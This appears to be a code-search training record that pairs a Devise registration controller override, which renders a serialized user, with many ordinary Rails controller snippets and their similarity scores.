"def destroy\n @reservation.destroy\n respond_to do |format|\n format.html { redirect_to reservations_url, notice: 'Reservation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reservation.destroy\n respond_to do |format|\n format.html { redirect_to reservations_url, notice: 'Reservation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reservation.destroy\n respond_to do |format|\n format.html { redirect_to reservations_url, notice: 'Reservation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reservation.destroy\n respond_to do |format|\n format.html { redirect_to reservations_url, notice: 'Reservation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reservation.destroy\n respond_to do |format|\n format.html { redirect_to reservations_url, notice: 'Reservation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reservation.destroy\n respond_to do |format|\n format.html { redirect_to reservations_url, notice: 'Reservation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reservation.destroy\n respond_to do |format|\n format.html { redirect_to reservations_url, notice: 'Reservation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reservation.destroy\n respond_to do |format|\n format.html { redirect_to reservations_url, notice: 'Reservation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reservation.destroy\n respond_to do |format|\n format.html { redirect_to reservations_url, notice: 'Reservation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reservation.destroy\n respond_to do |format|\n format.html { redirect_to reservations_url, notice: 'Reservation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reservation.destroy\n respond_to do |format|\n format.html { redirect_to reservations_url, notice: 'Reservation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reservation.destroy\n respond_to do |format|\n format.html { redirect_to reservations_url, notice: 'Reservation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reservation.destroy\n respond_to do |format|\n format.html { redirect_to reservations_url, notice: 'Reservation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reservation.destroy\n respond_to do |format|\n format.html { redirect_to reservations_url, notice: 'Reservation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n\n @reservation.destroy\n respond_to do |format|\n format.html { redirect_to reservations_url, notice: 'La reserva fue eliminada.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reservation.destroy\n respond_to do |format|\n format.html { redirect_to reservations_url, notice: \"Reservation was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reservation.destroy\n respond_to do |format|\n format.html { redirect_to reservations_url, notice: \"Reservation was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reservation.destroy\n respond_to do |format|\n format.html { redirect_to apartment_reservations_url(@apartment), notice: 'Reserva Eliminada.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reservation = Reservation.find(params[:id])\n authorize! :manage, @reservation\n @reservation.destroy\n\n respond_to do |format|\n format.html { redirect_to reservations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reservation = Reservation.find(params[:id])\n @reservation.destroy\n\n respond_to do |format|\n format.html { redirect_to(reservations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @reservation = Reservation.find(params[:id])\n @reservation.destroy\n\n respond_to do |format|\n format.html { redirect_to(reservations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @reserf = Reserve.find(params[:id])\n @reserf.destroy\n\n respond_to do |format|\n format.html { redirect_to reserves_url }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @reservation.destroy\r\n respond_to do |format|\r\n format.html { redirect_to reservations_url, notice: 'Reservation was successfully destroyed.' }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @reservation.destroy\n respond_to do |format|\n format.html { redirect_to venue_reservations_url, notice: 'Reservation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vehicle_reservation.destroy\n respond_to do |format|\n format.html { redirect_to vehicle_reservations_url, notice: 'Reserva excluída com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reservation.destroy\n respond_to do |format|\n format.html { redirect_to rooms_url, notice: 'Reservation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reservation.destroy\n respond_to do |format|\n format.html { redirect_to university_library_reservations_path, notice: 'Reservation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n if allowed?(action: \"reservation_destroy\", user: current_user)\n @reservation.destroy\n respond_to do |format|\n format.html { redirect_to reservations_url, notice: 'Reservation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end\n end",
"def destroy\n @reserve.destroy\n respond_to do |format|\n format.html { redirect_to reserf_url, notice: 'Reserf was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reserf.destroy\n respond_to do |format|\n format.html { redirect_to reserves_url, notice: 'Reserve was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reserve.destroy\n respond_to do |format|\n format.html { redirect_to reserves_url, notice: 'Reserve was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reservation.destroy\n respond_to do |format|\n format.html { redirect_to reservations_url, notice: \"Reservation was successfully cancelled.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reservation_detail.destroy\n respond_to do |format|\n format.html { redirect_to reservation_details_url, notice: \"Reservation detail was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @phone_reservation.destroy\n respond_to do |format|\n format.html { redirect_to phone_reservations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n respond_to do |format|\n reservation = Reservation.find(params[:id])\n reservation.destroy\n redirect_to request.referrer\n end\n end",
"def destroy\n Reservation.delete(params[:id])\n redirect_to user_path(params[:user_id])\n end",
"def destroy\n @reservation_request = ReservationRequest.find(params[:id])\n @reservation_request.destroy\n \n respond_to do |format|\n format.html { redirect_to reservation_requests_url }\n format.json { head :no_content }\n format.js { render :layout => false }\n end\n end",
"def destroy\n @reservation.destroy\n respond_to do |format|\n format.html { redirect_to \"/calendar/index\", notice: '予約を削除しました' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reservation = Reservation.find(params[:id])\n reservation_to_email_attach = @reservation\n @reservation.destroy\n\n \n respond_to do |format|\n format.html { redirect_to reservations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n if @reservation.requester == current_user\n @reservation.destroy\n respond_to do |format|\n format.html { redirect_to reservations_url, notice: 'Reservation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end\n end",
"def destroy\n @reservation.destroy\n respond_to do |format|\n format.html { redirect_to [@user, @brewery, @reservation], notice: 'Reservation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reservationdetail.destroy\n respond_to do |format|\n format.html { redirect_to reservation_reservationdetails_url(@reservation), notice: 'Reservationdetail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reservation_room.destroy\n respond_to do |format|\n format.html { redirect_to reservation_rooms_url }\n format.json { head :no_content }\n end\n end",
"def remove_reservation\n @reservation = Reservation.find(params[:id])\n @reservation.destroy!\n end",
"def destroy\n @reservation.destroy\n end",
"def destroy\n @reserva.destroy\n respond_to do |format|\n format.html { redirect_to reservas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reservation.destroy\n redirect_to reservations_url, notice: 'Reservation was successfully destroyed.'\n end",
"def destroy\n @reservacion.destroy\n respond_to do |format|\n format.html { redirect_to reservacions_url, notice: 'Su Reservación fue eliminada satisfactoriamente.' }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @tool_reservation.destroy\n respond_to do |format|\n format.html { redirect_to tool_reservations_url, notice: 'Tool reservation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @employee_reservation.destroy\n respond_to do |format|\n format.html { redirect_to employee_reservations_url, notice: 'Reservation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reservationc.destroy\n respond_to do |format|\n format.html { redirect_to reservationcs_url, notice: \"Reservationc was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reservation_owner.destroy\n respond_to do |format|\n format.html { redirect_to reservation_owners_url, notice: 'Reservation owner was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reservation = Reservation.find(params[:id])\n reservation_to_email_attach = @reservation\n # @reservation.destroy\n \n respond_to do |format|\n format.html { redirect_to(:back) } #redirect_to reservations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @study_reservation.destroy\n respond_to do |format|\n format.html { redirect_to study_reservations_url, notice: 'Study reservation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @rameur.reservations.each { |resa| resa.destroy if resa.rameurs.size == 1 }\n Reservation.where(responsable_id: @rameur.id).each { |resa| resa.destroy(responsable_id: nil) }\n @rameur.destroy\n respond_to do |format|\n format.html { redirect_to rameurs_url, notice: \"Rameur supprimé\" }\n format.json { head :no_content, status: :success }\n end\n end",
"def destroy\n @reserva = Reserva.find(params[:id])\n @reserva.destroy\n respond_with @reserva, :location => admin_reservas_path\n end",
"def destroy\n @reserva.destroy\n respond_to do |format|\n format.html { redirect_to reservas_url, notice: 'Reserva was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reserva.destroy\n respond_to do |format|\n format.html { redirect_to reservas_url, notice: 'Reserva was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reserva.destroy\n respond_to do |format|\n format.html { redirect_to reservas_url, notice: 'Reserva was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n if @vehicle.reservations.present?\n redirect_to @vehicle, alert: 'Vehículo posee historial de reservas, no se puede eliminar'\n return\n end\n @vehicle.destroy\n respond_to do |format|\n format.html { redirect_to vehicles_url, notice: 'El vehículo ha sido eliminado exitosamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @space_reservation.destroy\n respond_to do |format|\n format.html { redirect_to space_reservations_url, notice: 'Space reservation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @customer_reservation.destroy\n respond_to do |format|\n format.html { redirect_to admin_customer_reservations_url, notice: 'Customer reservation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @agenda_reserv_resource.destroy\n index\n end",
"def destroy\n @reserved.destroy\n respond_to do |format|\n format.html { redirect_to reserveds_url, notice: 'Reserved was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @arrival = Arrival.find(params[:id])\n @arrival.destroy\n\n respond_to do |format|\n format.html { redirect_to arrivals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @arrival = Arrival.find(params[:id])\n @arrival.destroy\n\n respond_to do |format|\n format.html { redirect_to arrivals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @arrival_range = ArrivalRange.find(params[:id])\n @arrival_range.destroy\n\n respond_to do |format|\n format.html { redirect_to arrival_ranges_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @odsreserf.destroy\n respond_to do |format|\n format.html { redirect_to odsreserves_url, notice: 'Odsreserf was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_region\n Region.find(params[:id]).destroy\n render :json => {}\n end",
"def destroy_rest\n @item_usage = ItemUsage.find(params[:id])\n @item_usage.destroy\n\n respond_to do |format|\n format.html { redirect_to(item_usages_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @car = Car.find(params[:id])\n reservations = Reservation.where(car_id: @car.id)\n reservations.destroy_all\n @car.destroy\n flash[:success] = 'Car deleted.'\n redirect_to cars_url\n end",
"def destroy\n @reserf = Reserve.find(params[:id])\n @reserf.destroy\n @roomtype = DetailRoom.all_types\n @time = Room.all_times\n @day_list = Room.all_days\n @form = Form.find(params[:id])\n @form.destroy\n respond_to do |format|\n format.html { redirect_to reserves_path, notice: 'Reserve was successfully deleted.' }\n format.json { head :no_content }\n \n end\n end",
"def destroy\n @reservation2_room.destroy\n respond_to do |format|\n format.html { redirect_to reservation2_rooms_url, notice: 'Reservation2 room was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reserva.destroy\n respond_to do |format|\n format.html { redirect_to reservas_url, notice: 'La Reserva ha sido destruido totalmente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @restaurant = Restaurant.find(params[:id])\n @restaurant.destroy\n\n respond_to do |format|\n format.html { redirect_to restaurants_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @restaurant = Restaurant.find(params[:id])\n @restaurant.destroy\n\n respond_to do |format|\n format.html { redirect_to restaurants_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @restaurant = Restaurant.find(params[:id])\n @restaurant.destroy\n\n respond_to do |format|\n format.html { redirect_to restaurants_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @restaurant = Restaurant.find(params[:id])\n @restaurant.destroy\n\n respond_to do |format|\n format.html { redirect_to restaurants_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @restaurant = Restaurant.find(params[:id])\n @restaurant.destroy\n\n respond_to do |format|\n format.html { redirect_to restaurants_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @restaurant = Restaurant.find(params[:id])\n @restaurant.destroy\n\n respond_to do |format|\n format.html { redirect_to restaurants_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @restaurant = Restaurant.find(params[:id])\n @restaurant.destroy\n\n respond_to do |format|\n format.html { redirect_to restaurants_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @restaurant = Restaurant.find(params[:id])\n @restaurant.destroy\n\n respond_to do |format|\n format.html { redirect_to restaurants_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @resident.destroy\n respond_to do |format|\n format.html { redirect_to residents_url, notice: 'Resident was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reservation.destroy\n respond_to do |format|\n format.html {\n flash[:notice] = 'Reserva excluída com sucesso.'\n return redirect_to reservations_url unless @reservation.reservation_group\n redirect_to @reservation.reservation_group\n }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reserve.destroy\n #flash[:notice] = t('reserve.reservation_was_canceled')\n\n if @reserve.manifestation.is_reserved?\n if @reserve.item\n retain = @reserve.item.retain(User.find(1)) # TODO: システムからの送信ユーザの設定\n if retain.nil?\n flash[:message] = t('reserve.this_item_is_not_reserved')\n end\n end\n end\n\n respond_to do |format|\n format.html { redirect_to reserves_url, :notice => t('controller.successfully_deleted', :model => t('activerecord.models.reserve')) }\n format.json { head :no_content }\n end\n end",
"def destroy\n rid = params['id']\n if Aws.delete_recipe(rid) && Aws.delete_all_ingredients(rid)\n msg = {:notice => \"Recipe deleted!\"}\n render :json => msg\n else\n msg = {:notice => \"Error while deleting from DynamoDB!\"}\n render :json => msg\n end\n end"
] |
[
"0.7746542",
"0.7565957",
"0.7543936",
"0.7543936",
"0.7543936",
"0.7490353",
"0.74337363",
"0.7390154",
"0.73016495",
"0.73016495",
"0.73016495",
"0.73016495",
"0.73016495",
"0.73016495",
"0.73016495",
"0.73016495",
"0.73016495",
"0.73016495",
"0.73016495",
"0.73016495",
"0.73016495",
"0.73016495",
"0.73016495",
"0.73016495",
"0.73010635",
"0.7297279",
"0.7297279",
"0.72946304",
"0.7287594",
"0.7282783",
"0.728102",
"0.7228485",
"0.7220086",
"0.72005343",
"0.7101566",
"0.7099509",
"0.70982224",
"0.7095191",
"0.70947534",
"0.7065957",
"0.7047193",
"0.7021532",
"0.7011323",
"0.6976854",
"0.69586194",
"0.694607",
"0.694426",
"0.6930944",
"0.6928721",
"0.69226",
"0.6912651",
"0.68854904",
"0.688338",
"0.68650347",
"0.6859378",
"0.68443453",
"0.6831183",
"0.681836",
"0.6807473",
"0.6803009",
"0.6790137",
"0.67858934",
"0.67788255",
"0.6770077",
"0.6749698",
"0.67363954",
"0.6726536",
"0.67224884",
"0.67224884",
"0.67224884",
"0.6716733",
"0.6712833",
"0.6704",
"0.6680906",
"0.6674937",
"0.666522",
"0.666522",
"0.66430205",
"0.6632931",
"0.66328704",
"0.6621164",
"0.65945923",
"0.65865403",
"0.6582855",
"0.6577156",
"0.6566449",
"0.6566449",
"0.6566449",
"0.6566449",
"0.6566449",
"0.6566449",
"0.6566449",
"0.6566449",
"0.6538973",
"0.6538128",
"0.65353715",
"0.6533057"
] |
0.76063955
|
3
|
overriden in order to render serialized user
|
def create
build_resource(sign_up_params)
resource.save
yield resource if block_given?
if resource.persisted?
if resource.active_for_authentication?
set_flash_message! :notice, :signed_up
sign_up(resource_name, resource)
user_details = Api::V1::UserSerializer.new(resource)
articles = ActiveModel::Serializer::CollectionSerializer.new(Article.all.to_a, serializer: Api::V1::ArticleSerializer)
render json: { user: user_details, articles: articles }, status: :created
else
set_flash_message! :notice, :"signed_up_but_#{resource.inactive_message}"
expire_data_after_sign_in!
respond_with resource, location: after_inactive_sign_up_path_for(resource)
end
else
clean_up_passwords resource
set_minimum_password_length
respond_with resource
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def user_hack\n user.as_json\n end",
"def user\n render @user\n end",
"def user_serializer\n {\n username: username,\n email: email,\n id: id\n }\n end",
"def render_user(user)\n if user\n h(user.login)\n else\n '(unknown)'.html_safe\n end\n end",
"def _render_with_renderer_json (resource, options ={})\n options.merge! formats: [:json]\n template = File.read(Rails.root.join('app/views/api/users/_user.json.jbuilder'));\n resource_json = Jbuilder.new do |json|\n @json_options = { user: :simple }\n @enabled_token = true\n user = resource\n instance_eval template, __FILE__, __LINE__\n end\n # logger.info resource_json.target!\n super({user: JSON.parse(resource_json.target!)}, options)\n end",
"def render_authentication_payload(user)\n cookies[:cmm_jwt] = create_jwt_cookie(user.id)\n render json: { user: UserSerializer.new(user) }, status: :ok\n end",
"def serialiaze\n Logger.d(\"Serializing the User object\")\n save_to_shared_prefs(@context, self.class, self)\n end",
"def show\n render json: UserSerializer.render(\n object: current_user,\n include_root: true\n )\n end",
"def user_data\n {\n user_id: @user.id,\n email: @user.email\n }\n end",
"def fix_raw_user!\n return unless raw_user\n raw_user['scraped_at'] = self.moreinfo['scraped_at']\n raw_user['created_at'] = ModelCommon.flatten_date(raw_user['created_at'])\n raw_user['id'] = ModelCommon.zeropad_id( raw_user['id'])\n raw_user['protected'] = ModelCommon.unbooleanize(raw_user['protected'])\n raw_user['profile_background_tile'] = ModelCommon.unbooleanize(raw['profile_background_tile']) unless raw_user['profile_background_tile'].nil?\n Wukong.encode_components raw_user, 'name', 'location', 'description', 'url'\n # There are several users with bogus screen names\n # These we need to **URL encode** -- not XML-encode.\n if raw_user['screen_name'] !~ /\\A\\w+\\z/\n raw_user['screen_name'] = Wukong.encode_str(raw_user['screen_name'], :url)\n end\n end",
"def user\n hash = {\n provider: 'josh_id',\n id: current_user.id.to_s,\n info: {\n email: current_user.email,\n username: current_user.username,\n #first_name: current_user.first_name,\n }\n }\n\n render json: hash.to_json\n end",
"def user_template\n super\n end",
"def user_data\n {:username => self.username,\n :pic_url => self.user_pic,\n :profile_url => self.profile_url\n }\n end",
"def user\n {id: object.user.id, username: object.user.username, avatar: object.user.avatar}\n end",
"def show\n render json: user_json(@user)\n end",
"def show\n expires_now #because refresh of user show was not giving updated recordings; must have been caching the mp3\n @user = User.find(params[:id])\n #@user.password = BCrypt::Password.new(@user.password_digest)\n #@user.password_confirmation = @user.password\n if @user.phonetic.blank?\n if @user.first_name && @user.last_name\n @user.phonetic = @user.first_name + ' ' + @user.last_name \n end \n end \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def user_data\n {\n id: @user.id,\n email: @user.email,\n user_token_sale_state: @user_token_sale_state,\n bt_name: @user.bt_name.to_s\n }\n end",
"def user\n render json: current_user\n end",
"def show\n render json: UserSerializer.new( @user ), status: :ok\n end",
"def user\n {user_id: self.object.user.id,\n user_name: self.object.user.name\n }\n end",
"def showUser\n render :json =>{message: @current_user}\n end",
"def serializer_class\n UserSerializer\n end",
"def show\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.json { render json: @user.as_json }\n\t\tend\n\tend",
"def show\n \trender json: @user\n end",
"def user\n UserSerializer.new(object.user).attributes\n end",
"def show\n render json: @user, serializer: UserSerializer, root: false, status: 200\n end",
"def show \n render json: @current_user\n end",
"def show\n\t\trender json: @user\n\tend",
"def show\r\n\r\n @user_attributes = params[:user] ? params[:user][params[:id]].clone : {}\r\n @user_attributes.merge!(:id => params[:id]) if @user_attributes\r\n @user_attributes.delete(:active) if @user_attributes && restrict_active_for_show_5\r\n @user_attributes.delete(:password) if @user_attributes && restrict_password_for_show_5\r\n @user_attributes.delete(:hashed_password) if @user_attributes && restrict_hashed_password_for_show_5\r\n @user_attributes.delete(:salt) if @user_attributes && restrict_salt_for_show_5\r\n @user_attributes.delete(:last_login) if @user_attributes && restrict_last_login_for_show_5\r\n @user_attributes.delete(:last_session_id) if @user_attributes && restrict_last_session_id_for_show_5\r\n @user_attributes.delete(:user_accesses) if @user_attributes && restrict_user_accesses_for_show_5\r\n @user_attributes.delete(:accesses) if @user_attributes && restrict_accesses_for_show_5\r\n @user_attributes.delete(:profiles) if @user_attributes && restrict_profiles_for_show_5\r\n @user = User.load_from_params(@user_attributes)\r\n if @user.nil?\r\n flash[:warning] ||= []\r\n flash[:warning] << _(\"Warning: %{obj} with ID %{id} does not exist!\") % {:obj => 'user', :id => params[:id]}\r\n redirect_to(:action => :index)\r\n return\r\n end\r\n\r\n respond_to do |format|\r\n format.html {\r\n render :layout => !request.xhr? }\r\n format.pdf {\r\n render :layout => false }\r\n format.xml {\r\n render :xml => @user.to_xml }\r\n format.json {\r\n render :json => @user.to_json }\r\n end\r\n end",
"def show\n json_response(@user)\n end",
"def show\n @user = User.find(params[:id])\n @title = @user.username\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user.to_xml(:except => [:password_digest, :remember_token])}\n end\n end",
"def contents\n {\n user_id: user.id,\n }\n end",
"def show\n render json: @user, serializer: UserSerializer, status: 200\n end",
"def show \n user=current_user\n user={name: user.name,email: user.email ,phone: user.phone,avatar: user.avatar}\n json_response(user)\n end",
"def show_user\n usernames = params.require(:usernames)\n\n identities = Hash[User.where(username: usernames).map { |u| [u.username, u.custom_fields[DiscourseEncrypt::PUBLIC_CUSTOM_FIELD]] }]\n\n render json: identities\n end",
"def user\n {\n id: object.user.id,\n email: object.user.email,\n birthday: object.user.birthday,\n first_name: object.user.first_name,\n middle_name: object.user.middle_name,\n last_name: object.user.last_name,\n phone: object.user.phone,\n gender: object.user.gender,\n neighborships: object.user.neighborships\n }\n end",
"def user(user_id)\n\t\t\t\t@template[:body] = Picombo::Stache::Twoot_User.new(user_id).render\n\t\t\tend",
"def get_user_data\n raise NotImplementedError\n end",
"def show\n render json: @user\n end",
"def show\n render json: @myuser\n end",
"def call\n\t\t{user: user}\n\tend",
"def show\n #below line is default with selected attributes\n #render json: @user, :only => [:id, :name, :email, :age, :company]\n\n render json: @user\n end",
"def get_field_deserializers()\n return super.merge({\n \"loginName\" => lambda {|n| @login_name = n.get_string_value() },\n })\n end",
"def show\n render json: @user\n end",
"def show\n # сделать текущего пользователя адмиристратором\n #current_user.update_attribute :admin, true\n @user = User.find(params[:id])\n @title = @user.username\n #@user_internals = @user.user_internals.paginate(page: params[:page])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def render_user_selection_page\n @users = User.all\n\n # Remove any group_id param in the url\n saml_url_without_user_id = request.original_url.gsub(/(&user_uid=[^&]*)/,\"\")\n\n # Build SAML replay url for each user\n @replay = {}\n\n @users.each do |user|\n @replay[user.id] = {}\n @replay[user.id][:url] = \"#{saml_url_without_user_id}&user_uid=#{user.uid}\"\n\n @replay[user.id][:access] = false\n @replay[user.id][:access_count] = 0\n user.groups.each do |group|\n if (group.app == current_app)\n @replay[user.id][:access] =true\n @replay[user.id][:access_count] += 1\n end\n end\n end\n\n render template: \"shared/auth/select_user_to_login\", layout: 'application'\n end",
"def user_information\n { \"username\": @user.username, \"email\": @user.email, \"id\": @user.id }\n end",
"def show\n render_show @user\n end",
"def json_show_signed_user\n\n @current_user = current_user\n respond_to do |format|\n #format.json { render json: @current_user.as_json(only:[:id,:username]), status: :ok}\n if @current_user.nil?\n format.json { render json: 'user not found' , status: :not_found }\n else\n format.json { render json: @current_user.as_json(only:[:id,:username]), status: :ok}\n end\n\n\n end\n end",
"def user_show_data\n user = User.find(params[:user])\n\n @data = {\n name: user.full_name,\n email: user.email,\n title: user.title,\n school_name: user.organization.name,\n logo_link: user.organization.logo_link,\n points: user.points,\n reviews: reviews_from_user(user),\n protips: protips_from_user(user),\n receives_weekly_digest: user.receives_weekly_digest,\n active: user.active\n }\n\n render json: @data\n end",
"def show\n @user = @user.decorate\n end",
"def to_s\n\t\tself.name.present? ? \"#{self.name}\" : \"#{self.user}\" ;\n\tend",
"def show\n \tuser = User.find params[ :user_id ]\n expose user, serializer: UserSerializer\n end",
"def user\n @user = current_user\n\n respond_to do |format|\n format.json { render :json => {:user => @user.as_json(:json => 'wall') }}\n end\n end",
"def to_s\n\t\tself.name.present? ? \"#{self.name} ( #{self.user} )\" : \"#{self.user}\" ;\n\tend",
"def author\n #Este self.object hace referencia al object que se esta serializando\n user = self.object.user\n {\n name: user.name,\n email: user.email,\n id: user.id\n }\n end",
"def show\n {\n id: @current_user.id,\n first_name: @current_user.first_name,\n last_name: @current_user.last_name,\n email: @current_user.email,\n role_name: @current_user.super_admin ? 'Super Admin' : @current_user.role.try(:name),\n permissions: Permissions::Builder.user_permissions(@current_user)\n }\n end",
"def user_info\n\t\t\"name: #{name} \\n\"+\n\t\t\"email: #{email}\"\n\t\t\t\n\tend",
"def show\n if check_user_read_access\n respond_to do |format|\n format.html { render :show }\n format.json { render json: user || {} }\n end\n end\n end",
"def show\n render json: get_full_user_details(user), status: :ok\n rescue => e\n log_and_render_users_controller_error(e, \"get user details failed\")\n end",
"def show\n render json: @user\n end",
"def show\n render json: @user\n end",
"def show\n render json: @user\n end",
"def show\n render json: @user\n end",
"def show\n render json: @user\n end",
"def show\n render json: @user\n end",
"def show\n render json: @user\n end",
"def show\n render json: @user\n end",
"def show\n render json: @user\n end",
"def show\n render json: @user\n end",
"def auto_login\n render json: @user\n end",
"def show\n if create_user\n logger.debug @user.inspect\n render json: @user\n else\n render json: { error: 'User is not logged in!' }, status: :unprocessable_entity\n end\n end",
"def loginViewFetchedUserInfo( loginView, user: user )\n\t\t# here we use helper properties of FBGraphUser to dot-through to first_name and\n\t\t# id properties of the json response from the server; alternatively we could use\n\t\t# NSDictionary methods such as objectForKey to get values from the my json object\n\t\t@labelFirstName.text = \"Hello #{user[ :first_name ]}!\"\n\n\t\t# setting the userID property of the FBProfilePictureView instance\n\t\t# causes the control to fetch and display the profile picture for the user\n\t\t@profilePic.userID = user[ :id ]\n\t\t@loggedInUser = user\n\tend",
"def show\n @user = User.find(params[:id])\n render :xml => @user.to_xml(:except => [ :password ])\n end",
"def de_serialiaze\n Logger.d(\"de_serialiazing the user object\")\n data_json = get_from_shared_prefs(@context, self.class)\n \n begin\n @data = JSON.parse(data_json) if not data_json.nil? and data_json.length > 0\n rescue Exception => e\n Logger.exception(:de_serialiaze, $!)\n end\n end",
"def show\n json_response(current_user.decorate, :ok)\n end",
"def show\n\tuser_completed = @user.as_json(:only => [:id, :username, :login, :email, :guild_id, :otp_secret, :otp_required_for_login])\n\t\t\t\t\t\t.merge(guild: @user.guild, achievments: @user.achievments)\n\tif self.user_owner?\n \trender json: user_completed, status: :ok\n\telse\n \trender json: user_completed.except(:email, :otp_required_for_login), status: :ok\n\tend\n end",
"def user_info\n @user_info ||= raw_info\n end",
"def show\n load_user\n return if (@user.blank?)\n\n respond_to do|format|\n format.html\n end\n end",
"def me\n user = current_user\n render :json => user.to_json(:only => [:id, :name, :email, :avatar_url])\n end",
"def json_show_user_profile_by_user_id\n @user = User.find(params[:user_id])\n\n respond_to do |format|\n format.json { render json: @user.as_json(only:[:email,:username]) }\n end\n end",
"def user_as_string=(user)\n # reset both either way\n self.user_as_model = self.username = nil\n user.is_a?(::ActiveRecord::Base) ?\n self.user_as_model = user :\n self.username = user\n end",
"def user_info\n @current_user ||= User.find(session[:user_id]) if session[:user_id]\n\n respond_to do |format|\n name = @current_user.name\n username = @current_user.username\n format.json {\n render json: {\n :name => name,\n :username => username,\n }.to_json, status: 200\n }\n end\n end",
"def profile\n render json: @current_user\n end",
"def auto_login\n render json: @user\n end",
"def show\n user = User.friendly.find(params[:user_id]) \n render json: user\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user.as_json(user: current_user) }\n end\n end",
"def user\n user = User.new\n user.read_creddentials\n user.login\n puts user.to_str\n end",
"def show\n respond_to do |format|\n format.json { render :json => @user }\n format.xml { render :xml => @user }\n format.html \n end\n end",
"def user\n render :json=> User.find(params[:id])\n end",
"def user_data\n User.user_data login\n end",
"def show\n respond_to do |format|\n format.html\n format.json { render :json => @user }\n end\n end",
"def show\n @user = current_user\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def show\n render json: @currentUser\n end",
"def login\n\t @user = current_user\n\t respond_to do |format|\n\t format.html {render :text => \"#{@user.id}\"}\n\t #format.xml {render :text => \"#{@user.id}\" }\n\t format.json {render :json => \"#{@user.id}\"}\n\t end\n\tend",
